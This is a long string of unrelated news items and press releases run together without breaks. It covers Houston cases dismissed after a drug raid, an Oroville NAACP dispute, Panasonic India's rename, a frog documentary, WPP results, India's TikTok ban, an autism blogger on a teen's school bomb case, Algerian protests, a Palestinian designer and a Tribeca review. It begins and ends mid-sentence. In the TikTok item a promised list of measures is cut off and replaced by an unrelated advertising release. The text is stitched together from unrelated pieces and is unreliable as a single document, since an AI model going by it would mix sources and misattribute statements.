May 2017, while the most recent was from Jan. 28, the same day as the deadly drug raid. At least four other cases have previously been dismissed, according to the district attorneys office. Police corruption erodes public trust and through methodical, deliberate and independent investigation, we will get to the truth, Ogg said. Norm Silverman, an attorney who represents two half brothers whose cases were among the 27 dismissed, said hes grateful that Oggs office did the right thing. He said he hopes the office will continue to review closed cases. He alleges that both of his clients have been prosecuted in the past based on similar shoddy work by Officer Goines. The attorney said he is working to challenge a 2007 conviction of one of his clients, a conviction that was based in part on the work of Goines. Goines attorney, Nicole DeBorde, has previously said her client is innocent of any crime. Prosecutors had previously announced that they are reviewing more than 2,000 cases linked to Goines and Bryant. In addition to an internal review by Houston police, the FBI is conducting an investigation to determine whether any civil rights were violated as a result of the raid and shooting. ___ Follow Juan A. Lozano on Twitter: https://twitter.com/juanlozano70 OROVILLE, Calif. - The NAACP wants to talk to Oroville's mayor about what some councilmembers are calling racial discrimination on city council. The president of the NAACP Butte County chapter, Irma Jordan, told Action News Now shes never had a situation where an official would not cooperate. Action News Now spoke to people in Oroville who say city leaders need to put their differences aside and work together. "I think that they are wasting a lot of time bickering when they should be focused on a lot more problems that we have here in Oroville," Debbie Warner, long time resident said. "Some people will always be affected by when it comes to projected racial issues that are brought out to the forefront but the majority of the people I don't think so i think the people can see right through this stuff because this has been going on a long time with the city members," Thomas Soerensen, long time resident said. Last month Mayor Chuck Reynolds removed council women Janet Goodson and Linda Draper from their council committees. The council women took this as racial and gender discrimination. Not long after - the NAACP got involved. Jordan said she sent a letter to Reynolds asking to meet with him to hash out the issues. She said he didn't respond. About a month after her letter to the mayor, Jordan said the Police Chief Bill Lagrone replied saying the mayor could not respond because he was under a gag order with the city attorney. Action News Now reached out to Reynolds. He said he could not respond because this case is still under legal investigation. Jordan wants the people of Oroville to know that shes being very cautious in her actions because the NAACP thoroughly believes the council women have been wronged and want them to prevail. The NAAP Butte County chapter plans to reach out to the attorney generals office along with the Secretary of State and the Election Division. Paradise business owners gathered Thursday at Paradise Business Forum Many Paradise business owners gathered Thursday night to meet with Chamber of Commerce leaders. Moving forward, the chamber plans to work with businesses and address their concerns regarding debris removal, security and how utilities will be restructured. State regulators approve PG&E rate hike to cover wildfire costs State regulators have approved a $373 million rate hike for PG&E to pay for wildfire costs. KTVU TV is reporting that the California Public Utilities Commission unanimously approved an increase that raises the average bill by $3.50 a month over 12 months. The station said the hike won't cover the billions of dollars in lawsuits PG&E faces in connection with 2018's devastating wildfires. The utility, which has filed for bankruptcy, is also seeking about $22 per month in rate increases for wildfire safety and to attract investors. Number of inmates escaping doubles in California A state initiative to help inmates transition back into a life of freedom and responsibility may not be working as intended. The total escape figure is now nearly double the number who went missing in 2014. Redding police arrest 2 behind Cobblestone Shopping Center Redding police arrested two people after receiving complaints of illegal activity behind a shopping center. For the past couple of months, police said calls have been coming in from businesses and those who live near the Cobblestone Shopping Center, on Hartnell Avenue. Yuba County woman arrested, suspected of killing toddler A Yuba County woman faced charges Thursday for the murder of her son. Sheriff's officials said Eleana Carbajal of Olivehurst brought her son to the hospital on Dec. 24 saying he had drowned. However, investigators said the boy had other injuries, was malnourished and appeared to have been exposed to methamphetamine. Fire investigators find remains in a burned shed in Orland Thursday morning, firefighters found a body in a burned out shed west of Orland on County Road 15 at Newport Avenue. The Glenn County Arson Task Force was called in to investigate. Redding gears up for Kool April Nites cruise The Kool April Nites cruise is set to happen on Friday in Redding. Action News Now will have team coverage of the event beginning at 4 p.m. The cruise starts at 6:30 p.m. Anchor Electricals Private Limited, a wholly owned subsidiary of Panasonic, today announced the change in its legal entity to Panasonic Life Solutions India Private Limited with effect from April 1, 2019. With this, the brand has also changed its corporate identity from Anchor by Panasonic to Panasonic. This alteration expresses its vision to Make a better, comfortable life with human oriented solutions. Panasonic Life Solutions India Private Limited (Formerly known as Anchor Electricals Private Limited) has been a leader in the consumer electricals segment for over five decades. The company has been selling a wide range of electrical products through its strong dealer and distributor network spread across the country. Anchor has been the industry leader in Wiring Devices and also has a significant presence in Switchgears, Wires Cables & Tapes, Conduit Pipes, Lighting, Solar, Housing, Power Tools and Indoor Air Quality (IAQ). The positioning for the two core brands, however, remains the same, with Anchor targeting the value for money segment and Panasonic catering to the premium end of the market. Mr. Vivek Sharma, Managing Director, Panasonic Life Solutions India Private Limited said, We are one of the leading players in the manufacturing and selling of electrical and construction materials. Our products are made from cutting edge & innovative Japanese technology and occupy a unique positioning in the market. We are delighted to unveil our new corporate identity which will help us in strengthening our position in our segment. With this change, we would position the brand as one that would take care of the expectation of modern India consumers. Mr. Tetsuyasu Kawamoto, Joint Managing Director, Panasonic Life Solutions India Private Limited, At Panasonic Life Solutions India Private Limited, we aim to offer outstanding products and services across all categories to our consumers. With the new name, our goal will be to transform the vision of Making a better, comfortable life with human-oriented solutions to reality. Mr. Dinesh Aggarwal, Joint Managing Director, Panasonic Life Solutions India Private Limited stated,Changing the company name is a step forward into an era of transformation. Through Panasonic Life Solutions India Private Limited, our objective is to augment the brand recall amongst our existing consumers and enhance our consumer reach. At the core, brand Anchor will cater to value for money consumers whereas, Panasonic will focus on providing a comprehensive solution for energy saving, comfortable & safe living. With this step, the brand Panasonic Life Solution Private Limited will also be foraying into a new category, introducing an all new first of its kind of modular kitchen, which is on the threshold of its launch in India Animal Planet, Indias No. 1 Wildlife channel, will premiere the first ever documentary film that focuses exclusively on amphibians of India - The Secret Life of Frogs on May 1st at 21:00 hrs. Shot painstakingly over three years, the film is directed by the award-wining third generation of wildlife filmmakers Vijay and Ajay Bedi. The Bedi brothers capture species that have their own unique story to tell a frog that uses dance moves to seduce its mate, another that does a headstand, or the potter frog that gently encases his eggs in clay to protect from predators. This film throws up behavioral facts hitherto unknown to science, documenting for the first time the entire life cycle of the highly endangered, rare purple frog that emerges from underground to breed for just one day in a year. Catch The Secret Life of Frogs on May 01 at 21:00 hrs on Animal Planet and Animal Planet HD World. The Secret Life of Frogs will premiere as a part of new anthology Animal Planet Presents which showcases award winning films all weekdays Monday to Friday at 9:00 pm. The anthology includes multiple award-winning films like Tigerland, A Wolfs Journey, legacy hit series like Dodo Heroes Epic Yellowstone and Ivory Wars. The Secret Life of Frogs is a quest to draw attention to these tiny creatures as old as dinosaurs yet still a mystery to science. The quest is important as more than 80% of the 400 species of amphibians found in India are already on the endangered list. Some have not been seen from 18 to as long as 170 years. The figures are dire but important especially when one considers that about 60% of amphibians are endemic to the sub-continent. The Secret Life of Frogs has won prestigious awards namely Cannes Corporate TV & Media Awards, 2018 and five awards at The Calcutta International Cult Film Festival 2019 - 27th Edition. The film has also made its way to the nominations at International Nature Film Festival Godollo - Hungary and 9th Dada Saheb Phalke Film Festival 2019. Zulfia Waris, Vice President, Premium & Digital Networks, Discovery Communications India, said, The Secret Life of Frogs has been told in an easy lyrical way. The aim is to draw attention to fossorial creatures that seldom receive conservation attention. The film is an ode to amphibians, it is also a plea to save them. At a time when film makers take pride in charismatic megafauna, we have chosen tiny creatures as the heroes of our film. We realize this is a huge risk, but it is worth it, as no one is telling the story of frogs. The handful of people working for their conservation need to be celebrated as well, they too are heroes in our film, said, Bedi Brothers Ajay and Vijay. I still remember where I live in Delhi, we used to hear the gentle murmur of frogs calling from the neighborhood parks as the monsoon hit North India, those croaks have gone silent. Across the world a dreaded disease called the Chytrid fungus is wiping out frog species in large numbers. In India too, a complex set of reasons from roads cutting through their habitats to climate change to mini hydel dams in the forest is endangering species. With so much attention focused on tigers and megafauna, the amphibians of India are fighting a lonely battle for survival. Somehow, we have forgotten how rich our country is in other forms of life. Our hope through The Secret Life of Frogs is to ignite inspiration for an army of frog champions. Leading scientists such as Dr. SD Biju from Delhi University, Dr. Gururaja from Gubbi Labs and a team of young passionate scientists studying these unique creatures have been an integral part of the film's journey in spreading awareness towards conservation of amphibians. Get up-close and personal with The Secret Life of Frogs as award winning wildlife film makers Ajay and Vijay Bedi take you through the swampy forests of India on Animal Planet and Animal Planet HD World on May 01, 2019 only at 21:00 hrs. MOMENTS FROM THE FILM (to be attributed to Ajay Bedi and Vijay Bedi) Our hands white and wrinkled, our gum boots full of cold water and we were shivering. This was our story every day walking through swampy streams and rivers of the Western Ghats in search of frogs. As a third generation of wildlife film makers and photographer, my twin brother Ajay and I have since the age of 5 worked closely with my father and his father (our grandfather Dr. Ramesh Bedi) tracking elephants in Corbett or tigers in Bandavgarh. Our toughest assignment we thought was trying to find the elusive red panda in the mountains of Kanchenjunga, an animal that is rarely seen. Filming any wild species poses a challenge, but we hadnt anticipated just how complex it would be filming creatures tinier than a human thumb. It has been a nerve wrecking assignment both physically and technologically for us When we talk about amphibians, water is the key element, as they breathe through their skin, so they need very high humidity levels. For a cameraperson with expensive equipment, this was a technological nightmare trying to keep our filming gear dry every second. The second challenge was the light, as amphibians normally come out night. We were sure we didnt want to harm the creatures with bright lights nor interfere with their natural behavior by placing them close to our camera lens. Every sequence for the film had to be shot, as if we didnt exist. While there are many scientists who have worked on the taxonomy of amphibians, so little is known about their behavior. And so, we set about the onerous task of filming Amphibians of India, a mission that would take long 3 years. Continuing its streak of bringing in world-class digital and tech talent to its fold, Indigo Consulting has made a key hire to its senior management. The Publicis Communications company, which offers digital consulting, transformation and digital marketing services, has brought Dheer Singh on board as its Vice President of Technology for Strategic Accounts. Singh will report to Indigo Consulting President Jose Leon and will be based out of Mumbai. Singhs focus will be to deliver cutting-edge tech solutions and digital thought-leadership for Indigo Consultings key strategic accounts. With this appointment, the company has further strengthened its already formidable repertoire of offerings spanning across DevOps, de-couple architectures, Azure Infrastructure, database overhauls, application architecture modernisation, omni-channel platform and ML.NET. Speaking about the appointment, Jose Leon, President, Indigo Consulting said, Dheer has built solid high-performance technology solutions for brands through his critical thinking skills and two decades worth of techno-commercial experience. With his keen sense of technology, Indigo Consulting will be able to innovate further in our strategic accounts and deliver multi-dimensional solutions to problems. In an industrious career spanning over 20 years, Dheer was conferred with the prestigious IT Next 100 CIO Award in 2016. He has worked in various technology-led organisations like Yepme.com, Tata Consultancy Services, Art.com, and SastaSundar Marketplace with his most recent stint being at Webgility Services a the Director of Engineering. Singhs significant experience includes on-site working and direct engagement in international markets. He has also devoted a large part of his professional life to participation and leadership of multiple large-scale projects for solution development in both, web-enabled as well as client-server models. There is hardly a domain that Singh hasnt worked on in his career right from retail, e-tail, banking, insurance to mutual funds and healthcare, among several others. Speaking about his appointment, Singh says, "Ive been following Indigo Consultings exponential growth for a while, and its momentum excites me. The companys forward-facing outlook towards providing pure-play technological solutions that solve business problems aligns with my own. I am eager to dive right in with my team and effectively contribute to the digital business transformation process for Indigos key clients. I look forward to a long and fruitful journey here. WPP has reported revenue of 3.588 billion in the first quarter of 2019, up 0.9 per cent from the same period last year on a reported basis and -0.6 per cent on a constant currency basis. Like-for-like revenue was -1.3 per cent, compared with last year. Revenue less pass-through costs was 2.926 billion, down 0.7 per cent on a reported basis, -2.3 per cent in constant currency and -2.8 per cent like-for-like. In Q1 2019, like-for-like revenue less pass-through costs in the Groups advertising and media investment management sector was down 4.8 per cent, with the US down significantly, primarily due to the underlying legacy issues in the creative businesses and client losses in 2018. Media investment management showed strong growth in the UK, the Asia Pacific and Latin America. Data investment management was up slightly in the first quarter, with particularly strong growth in Asia Pacific, Latin America and the Middle East. The Groups public relations and public affairs businesses were down 0.3 per cent, with strong growth in Western Continental Europe and the Middle East. Brand consulting, health & wellness and specialist communications was down 2.1 per cent, with health & wellness, in particular, under considerable pressure in the US following client losses in 2018. Asia Pacific, Latin America, Africa & the Middle East and Central & Eastern Europe were the strongest performing regions, with like-for-like revenue less pass-through costs up 2.3 per cent. There was strong growth in Latin America, Central & Eastern Europe and South East Asia, with Australia and New Zealand more difficult. In Asia Pacific, Greater China and India, which account for almost half of the region, grew strongly, with Malaysia, Thailand and Vietnam more challenging. In Latin America, four of the Groups top five markets showed particularly strong growth. In Central & Eastern Europe, all markets, with the exception of Russia and Hungary, were up. North America, with like-for-like revenue less pass-through costs down 8.5 per cent, was the weakest performing region, due to continued pressure and the impact of assignment losses among automotive, pharmaceutical and FMCG clients in 2018. This performance, whilst disappointing, was in line with our budgets. The actions WPP has taken since September with its creative and healthcare agencies, alongside leadership changes, are intended to address the Groups performance in the US. In the UK, like-for-like revenue less pass-through costs was down 0.9 per cent, a slight decline on 2018s full-year performance. Western Continental Europe like-for-like revenue less pass-through costs were down slightly at -0.3 per cent. Belgium, Denmark, Finland, Netherlands and Turkey were up strongly, with Austria, Italy and Spain more challenging. Germany, the Groups largest market in the region, was up slightly. Commenting on the performance, Mark Read, Chief Executive Officer, WPP, said, As anticipated, our first quarter trading update reflects the impact of certain significant client losses in 2018, in particular in the US. Although we face a challenging year, especially in the first half, I am encouraged by how well our people, agencies and clients are responding to our new strategic direction. Read maintained, We continue to make good progress in implementing our three-year strategy to return WPP to sustainable growth, and added, Our expectations for the full year are unchanged. He further said that the newly formed agencies were showing initial signs of success in new business pitches. The most recent merger, Wunderman Thompson, has followed VMLY&Rs strong start by winning Duracells international creative account. BCW has brought in nearly $70 million in new business in its first year. As we have said before, it will take time to address the companys legacy issues, but we are committed to taking all the actions necessary to position WPP for future success, Read affirmed. Average net debt in the first quarter of 2019 was 4.163 billion, compared to 4.875 billion in 2018 (at 2019 exchange rates), a decrease of 712 million. Net debt at March 31, 2019 was 4.624 billion, compared to 5.500 billion in 2018 (at 2019 exchange rates), a decrease of 876 million. This improvement is largely explained by the disposal of various non-core associates and subsidiaries in 2018 and the first quarter of 2019 (and one property disposal), which in aggregate realised 1.028 billion. No shares were repurchased in the first quarter of 2019. In March 2019, the Group refinanced its $2.5 billion revolving credit facility, extending maturity to March 2024. The Group also repaid the 200 million 6.375 per cent bonds due in 2020 following a tender offer. Chinese short form video sharing app, TikTok that was banned on the Playstore and Apple Store following a decision by the Madras High Court on April 18th is available for download once again on those platforms. In a statement, Tiktok spokesperson said, Were glad about this decision and we believe its also greatly welcomed by our thriving community in India, who use TikTok as a platform to showcase their creativity. Were grateful for the opportunity to continue serving our users better. While were pleased that our efforts to fight against misuse of the platform has been recognized, the work is never done on our end. Were committed to continuously enhancing our safety features as a testament to our ongoing commitment to our users in India. Read why the TikTok was banned in India During the 10-day ban, TikToks parent company Bytedance reported that it was recording huge losses every day due to the app being banned for download in India. Google search results also indicate that many users tried to install the app from third party sources other than Google Playstore or the Apple Store. Independent industry bodies such as the IAMAI has explicitly stated that It would be a major roadblock to the growth of digital India and impede FDI in digital if intermediaries were to be banned quite arbitrarily by the courts in the country. The complainant should have approached the government for redressal first before approaching the courts and the court should have ideally asked the platform to remove the offending content than ban the entire app. It is a classic case of throwing the baby with the bathwater, the association concluded. Industry experts are in agreement that the ecosystem is too big for such tactics to have any lasting impact on the security of users. According to Sowmya Iyer, Founder and CEO of DViO Digital, The issue is that there are no restraints being followed when it comes to the consumption and usage of apps, and especially that of TikTok. Instead of banning it altogether, the real issues at hand need to be identified and corrective measures implemented. For example, with the use of AI we can detect content that is inappropriate or offensive and automatically take it off the platforms. The government needs to make sure TikTok complies with certain policies because today if this app is banned, there will be 50 other ups within the week to take its place. And more and more people will become slaves to its consumption" However, there is a belief that the nature of the TikTok app that supports virality of content may also encourage users to upload scandalous content. Ashish Patkar, Founder & CEO, Monk Media Network opines, The whole mechanic of the platform made it so easy to upload content and is one of the reasons it picked up massively in a fame crazy country like India, where you can do literally anything and gather truckloads of followers. I believe this is one area of vulnerability that platforms like Tik-tok will always be exposed to and with very little they can do to keep a close eye on the quality of the content that's being uploaded daily, without compromising the smooth & easy user experience on the platform. While third party content hosting applications continue to make promises to moderate or flag inappropriate content, Heena Tickoo, Director Client Servicing, DCMN India says that accountability of these platforms is still very much in flux. She says, The platforms need to be held responsible for the content posted on them by third party users. Tech companies are making profits of the order of billions of dollars, so it only makes sense they keep their house in order. Promises to educate users and tweaks like forwarded tag on WhatsApp hardly make the cut. The measures that need to be taken are the following, and in this order exactly: Vertoz, a leading programmatic advertising company, recently launched Native Advertising solutions in India with a special focus on regional traffic. With the launch of this new platform, Vertoz offers brands premium native advertising campaigns across a variety of regional news publishers and informative blogs in 10+ Indian languages. Vertozs solutions come at a time when ad blindness has become a common issue, and the digital advertising industry has found that Native advertising is the perfect medium to circumvent these problems. Native advertising is an innovative way of showcasing your brand in tandem with the content of the platform it is advertised in. This non-intrusive way of advertising blends in with the content seamlessly as per the webpages/apps overall look and feel and does not interrupt users while they are surfing the internet. This makes native ads an attractive option for advertisers as it enables them to provide a better brand experience to their customers. Additionally, the newly launched platform will focus on the untapped market of regional languages. As per a recent KPMG report, by 2021, India is expected to have 536 million regional language internet users as opposed to 199 million for English content. Thus, Vertoz is now able to cater to rural and semi-urban audiences, which constitute 40-50% of the user base of India. Commenting on the launch, Vertozs Founder & CEO, Ashish Shah said, Customers are accustomed to the deluge of digital ads. This has given rise to problems such as ad blindness and ad fatigue. Additionally, if the ad appears too frequently or is too loud, in the eyes users, it lowers the brands appeal. Through our native advertising solutions, we aim to solve this problem for brands and provide better user experience to the audiences. Along with users, native ads are beneficial to both advertisers as well as publishers. Advertisers benefit from native ads as they deliver higher performance, while publishers enjoy greater control over the appearance of their websites/apps. Thus, it is a win-win for the entire ecosystem. Shah further added. Complementing this native advertising platform, Vertozs publisher-centric arm PubNX will work with the regional publishers and connect them to Vertozs pool of advertisers along with other programmatic demand. PubNX empowers publishers by enabling smarter monetisation through its industry-leading proprietary Yield Optimiser and server-side header bidding solutions. BBC Media Action has launched a bold new social media initiative #FlushKeBaad (#NoFlushAndForget) to encourage public discussion of issues related to faecal sludge management (FSM). This is one of the few social media behaviour change communication initiatives on FSM in the world. BBC Media Action, supported by a grant from the Bill & Melinda Gates Foundation, has been addressing sanitation issues in India through creative communications since 2015. This latest initiative seeks to tackle the critical issue of FSM, and its impact on the environment and peoples health. According to UNICEF, more than 1,600 people die every day due to diarrhoea which is closely associated with lack of sanitation. While India has made considerable progress in building and using toilets, according to the Central Pollution Control Board, 70% of the sewage generated from urban India is not treated. This is dumped indiscriminately in water bodies, empty spaces and agricultural lands. It then comes back to us via water, food and even air, posing a serious health hazard. Most recently, the Ministry of Housing and Urban Affairs has decided to set up a sub-mission to work towards the management of faecal sludge in cities and census towns. #FlushKeBaad uses entertaining content to create awareness and generate conversation about risks people face every day from untreated faecal sludge. It focuses on the idea that "what goes comes right back to you". The centrepiece of the initiative is a digital film that can be viewed here. The musical medley literally makes a song and dance about what happens after you flush the toilet. Using different genres such as Qawwali, opera, vintage Bollywood and rap, it features two types of people facing off against each other: those who know and care about what happens #FlushKeBaad, and those who do not, and are sceptical about treating it as a real issue. Since the launch of the initiative on 29th March 2019 on Facebook, the digital film has reached 3.4 million unique users, 1.5 million views, and an estimated 1.3 million unique users have viewed it at least once. As of now, it has been shared more than 1,350 times, with more than 8,500 reactions on the post. The audience engagement rate on the digital film on Facebook so far is 5%, where an engagement rate between 1-2% is considered high. Celebrities including Aamir Ali and Randeep Hooda have amplified the digital film through their social media handles. Speaking about the social media intervention, Radharani Mitra, Global Creative Advisor, BBC Media Action said, "One gram of poo has more than one million pathogens I didnt know that before I started working on the issue. The #FlushKeBaad musical sawaal-jawaab (question-answer) has been crafted to start a conversation thats well overdue, given the magnitude of the FSM challenge in urban India." Madhu Krishna, India Country Lead, WSH, Bill & Melinda Gates Foundation said, "For safe sanitation, we need to stop any untreated faecal sludge from going into the environment. That can only happen when every citizen understands what happens #FlushKeBaad. This musical is a smart route to creating that understanding and engagement. "The digital film which is at the centre of the intervention will be complemented by other online posts like vox-pops, star videos and informational factoids to create risk perception from open discharge and indiscriminate dumping of faecal sludge. The idea is to make #FlushKeBaad everyones business", said Soma Katiyar, Executive Creative Director of BBC Media Action, India. The social media intervention also complements BBC Media Action's television drama series on urban sanitation Navrangi Re! (Nine to a Shade) which is being broadcast on Colors Rishtey. This initiative is being funded by the Bill & Melinda Gates Foundation via the Centre for Social and Behaviour Change, Ashoka University, who are also evaluating the initiative. I hadn't heard about this case until yesterday. It brings up so many questions for our community. Is this young man "one of ours"? The article says a psychologist testified that he is on the spectrum. What does that mean? I wonder if he had a 504 or an IEP in school. Was he functioning at a level that allowed him to study without benefit of assistance? Does diagnosis matter when it comes to a well thought out if poorly (thank God) executed crime? My friend John Robison wrote in his book Look Me In The Eye about pranks he played that involved explosives. I can't imagine it ever occurred to him to blow up people, with intent to harm. What has changed in our young people to bring out a need to hurt? Read the article and let's discuss. As the epidemic ages out into adulthood, many questions will arise. Most difficult to answer. From FOX13Now Salt Lake City: ST. GEORGE, Utah A teen who brought explosives to Pine View High School has been sentenced to jail time. Martin Farnsworth, 17, was ordered to serve 415 days in detention with credit for time served (which he has already served). He also was given 48 months probation, 250 hours of community service, and court-ordered treatment and any recommended medication by 5th District Court Judge Michael Westfall. He was also ordered to have no access to the internet or explosive materials or bomb-making components. He pleaded guilty in March to a charge of intent to commit injury with an incendiary device, a first-degree felony. He was originally charged with attempted murder and possession of a weapon of mass destruction, as well as misdemeanor graffiti charges. The case was originally filed in juvenile court, but Farnsworth was later transferred to the adult court system. Farnsworth was arrested last year after police said he brought a backpack loaded with a bomb to Pine View High. Prosecutors said he lit a fuse, but the bomb did not detonate. Police also accused him of researching information about the terror group ISIS online. He was also accused of replacing an American flag at a school in Hurricane with a pro-ISIS flag. If I didnt get caught from this, if people got hurt and I could get away from it? I would have laid low for a little while, kind of see what peoples reactions were, whether there were comments about it, etc. Then later on try to hang an ISIS flag somewhere like on a school or maybe on the freeway, make it look like ISIS is here. Then maybe after that try to contact ISIS, but I dont really know how to do that. I need to do more research on that, he told police, according to a court filing FOX 13 reported on last year. A psychologist testified on his behalf that Farnsworth was diagnosed with autism spectrum disorder. Would you like to receive breaking news notifications from The Post and Courier? Sign up to receive news and updates from this site directly to your desktop. Breaking News Columbia Breaking News Greenville Breaking News Myrtle Beach Breaking News Aiken Breaking News N Augusta Breaking News Click on the bell icon to manage your notifications at any time. Success! Please click the 'Allow' button in the 'Show Notifcations' alert in your browser if one is available. Thank you for signing up! Please enable notifications in your browser and reload the page. TUNIS, Tunisia The momentum of the popular demonstrations that have seized Algeria shows no sign of weakening. Faced with a groundswell of public outrage over years of stagnation and the machinations of a self-serving political elite, Algerias government and security services have thus far proven themselves unable to placate the tide of protest against them. As the protests push on the students packing the streets on Tuesdays, before the full extent of public anger is given voice on Fridays the governments reactions have rudely exposed an elite with no answers. However, as the protesters draw closer to the center of the ingrained power structures known locally as the pouvoir that have ruled the country for decades, growing signs of desperation and frustration are coming to characterize the official response. Within the top tiers of Algerias state and state-dependent business sectors, there has been a dramatic purge, overseen at least tacitly by the army Chief of Staff Gen. Gaid Salah, himself the target of the protesters ire. On April 24, Abdelmoumen Ould Kaddour, the chief of Algerias sprawling state-owned energy company Sonatrach, was dismissed from his position, with analysts attributing his departure primarily to his proximity to ousted President Abdelaziz Bouteflika rather than any particular failing in his role. Over the weekend, five of the countrys leading tycoons, including Algerias richest man, Issad Rebrab all said to enjoy extensive links to the ousted president were arrested. Beyond the business sector, both former Prime Minister Ahmed Ouyahia and current Finance Minister Mohamed Loukal have been summoned for questioning regarding the suspected misuse of public money. Touring a military site in the countrys southwest on Tuesday, Gen. Salah, a powerful figure within Algerian politics and a key figure within the pouvoir, underscored his sympathies for the demonstrators aims, while repeating his dread-tinged warnings of foreign plots to subvert their aims and lead the masses toward violence. Irrespective of the generals warnings, indications of rising police violence have largely been confined to Algiers. Though protests passed relatively peacefully last weekend, 108 demonstrators were seized the weekend prior. Security forces are no longer peaceful, demonstrators are facing tear gas, water cannons and annoying sound guns to disperse them, Amine Hocine, a freelance Algerian journalist, told Al-Monitor. The only thing holding the security forces back, Hocine added, was the public spectacle of hundreds of thousands of demonstrators cramming the capitals streets. In addition to the media presence, most protesters raise their phones during demonstrations and can document any abuses by the security forces, Hocine said. Focusing international attention on the passive nature of the protests, Hocine said, were the repeated chants by demonstrators calling for peace, effectively placing any aggressive action by the police beyond the realm of public sympathy and fueling even greater demands on the part of protesters. For this reason, and for this alone, Hocine said, I expect that security intervention will remain limited. Elsewhere, in cities such as Oran, the protests have remained calm, with demonstrators reporting that police officers have kept watch from their parked vans. Not one of them seems to have a grudge or any bad intentions whatsoever toward the people, Nora Benseghir Achour, a teacher from Oran, told Al-Monitor. The police were doing their job, fair and square, and the people gave them no excuse to be aggressive. Achour continued, At a certain stage, one could feel that they are also afraid of us. The people are united, and that was made really clear. However, Achour remained suspicious of the underlying motives behind the purge of the former presidents inner circle, suggesting it may be little but a further ploy for the powerful to retain power. "[T]o be honest, were crossing our fingers, [and hoping] that it wont be just a huge fat lie, or just one of their plays, she said. Such maneuvering is not new to Algeria. James McDougall, a professor at Trinity College Oxford, told Al-Monitor, They did this before in the 1990s," adding, and even in the 1980s, when Bouteflika found himself accused and cast out into the political wilderness. What were looking at is a selective culling of the old clan rather than any indication of real change. McDougall continued, referring to the judicial questioning of Ouyahia and Loukal. But theyre being questioned. That's a very big move, though it's unclear what it really means. he said. Said Bouteflika [the former presidents brother and long considered the power behind the throne] has essentially disappeared. Theyre moving the deckchairs and throwing some people overboard. But they're still trying to save the regime's ship. Moreover, for the man held by demonstrators to be the architect of the recent crackdown, Gen. Salah, things are far from straightforward. Much of the violence weve seen so far has been the regular police clashing with mainly students. But its not really clear how directly Salah controls the police," McDougall said. Right now, hes able to stare down the protests, but to what degree his control and influence extends to the police themselves is unclear. However, the real question is to what degree he can rely on the support of the rest of the army when hes the one in the crosshairs. Colorful mosaic patterns and Arabic calligraphy make a stark backdrop to the gray scale cutouts of Palestinians in traditional garb in postcards that aim to combine modernity and tradition. These postcards are part of a series called "You Are the Homeland," the brainchild of Ramallah-based graphic designer Rand Dabboor. Over the last three years, Dabboor, 20, has been working on bold, colorful designs postcards, stickers and small cutout objects that bring a modern flair to Palestines cultural heritage. Drawing since she was little, Dabboor received technical training in graphic design at the Ramallah Women's Training Center (RWTC) in 2014. Established by the United Nations Relief and Works Agency for Palestine Refugees in the Near East in the 1960s, RWTC prides itself on being the first institution in the Middle East that offered refugee women vocational training, though its financial resources have become scarcer in recent years. I would love to talk about Palestine in a different way, Dabboor told Al-Monitor, explaining that she believed there was a lot more to her homeland than war, strife and impoverishment. I want to show that [the people of my] homeland are loving and peaceful. "You Are the Homeland" series was launched in May 2018, with the aim of getting people from all over the world to write to their loved ones and remember Palestine pre-Nakba, "the catasthrope" as Palestinians call the establishment of Israel in 1948. Her postcards feature old photos that show Palestinians in their traditional clothes, either individually or with family members or friends. They mostly come from a book she has found that contained photos that date back to before 1948. Dabboor's favorites are the photos of women, whose embroidered clothes show diversity according to the different towns and villages as well as personal status. She then adds modern touches to the photos by using splashes of color, calligraphy in bold prints or a modern backdrop. I focus on some of the aspects of our heritage that have been forgotten, so I can try to restore what has been lost, Dabboor said. Nowadays everyone runs toward new designs of clothes and away from the old, [but I want women to] feel proud of their heritage, see how beautiful the traditional clothes are. We are occupied and everyone is trying to take our heritage from us. This also includes embroidery and design. We should reclaim it. The reason Dabboor focuses on women is because Palestinian women have a main role in our revolution, in our tradition, in our society." Focusing on women, however, has created a backlash from the online community. One piece in particular a digital poster of a Palestine map between the legs of a woman, with the words Life begins here" led people to harass and even block her for posting the postcard. She eventually ended up removing it from her social media accounts. Its about life, its not sexual, she insisted. When I made this piece [in August 2018], it was during a period when there were a lot of honor killings. I just wanted to emphasize that there was no shame in a woman's body and that is where all life springs from. All Palestinians started from this place. Besides postcards, Dabboor creates stickers her first and most popular product. Adorning students laptops and cellphones all over the West Bank and beyond, Dabboors stickers are bold, quirky and reflect today's Palestinian popular culture. Some depict a map of Palestine made up of bright patterns or a dark silhouette with a variety of colorful images behind it. Others are funny sayings or speech bubbles of Arabic phrases only heard in Palestine. When I travel, people see my laptop full of stickers and they will ask about it, Dabboor said. Its a simple thing but it can arouse people's curiosity toward Palestine. Dabboors clientele varies from Palestinians to sympathizers of the Palestinian cause and she has a small clientele abroad. For some, sending a postcard created by Dabboor reasserts Palestine on the map. Dabboor thinks this is important, particularly after the recent tweet by Yair Netanyahu, one of the sons of the Israeli prime minister, who wrote that "Palestine does not exist." She sells her artworks mainly online through her Instagram page, though she has nine points of sale in Palestine and Israel, two in Jordan and one in Paris. Unfortunately, she cannot mail items to most places around the world because the cost is too high. The postcards also aim to give Palestinians around the globe a whiff of their homeland. I would love to give those people something about Palestine to remind them and to [anchor] them to Palestine through one picture. Not all Palestinians here, she added, know all the details [of our heritage]. Im resharing the archives of Palestine through [modern] art." Friday, April 26, 2019 at 12:11PM Team Experience reporting from the 2019 Tribeca Film Festival. Here's Jason Adams... I always think of Amy Poehler's funny line on SNL about "soggy board-games and cat skeletons" when I think on the concept of hoarders. Sad people beside blackened sinks. But what if the hoarder's instincts turn out to be less a mental illness -- something more, grander? Recorder: The Marion Stokes Project uncovers that exception in a woman who obsessively recorded 35 years of news programming, from the Iran Hostages through 9/11 and up to Sandy Hook. And in the process the film argues that, as with superstition being science we just haven't yet confirmed, perhaps some of Marion's documentarian's madness wasn't madness, but prophecy... It takes awhile to get to all that though, because Marion Stokes was a hell of an individual from the very start. As a young black radical she dove head-first into the Communist movement, getting herself onto government watch lists while her passion for bringing power to the people had her moving up its ranks here in the States. All her life fascinated by technology and its ability to disseminate knowledge Marion found her way onto Philadelphia's local access television in the 70s, where she met her husband-to-be and co-hosted a political talk show where all viewpoints were invited to freely debate. Because of her preternatural ability to suss out the way the world was headed Marion immediately saw the value in computers and the internet -- she was a self-avowed disciple of Steve Jobs and invested heavily in Apple right from the get-go, which, well, as you can suppose Marion Stokes was set financially from there on out. And, coinciding with the explosion of round-the-clock news coverage, that's when the video-taping started. Enlisting everyone around her her home became a recording palace, the whirring sound a steady hum accompanying every whisper. Filmmaker Matt Wolf uncovers all of this alongside Stokes' 35 years of gathered footage, unraveling Marion's mystery through the world's events she refused to let slip 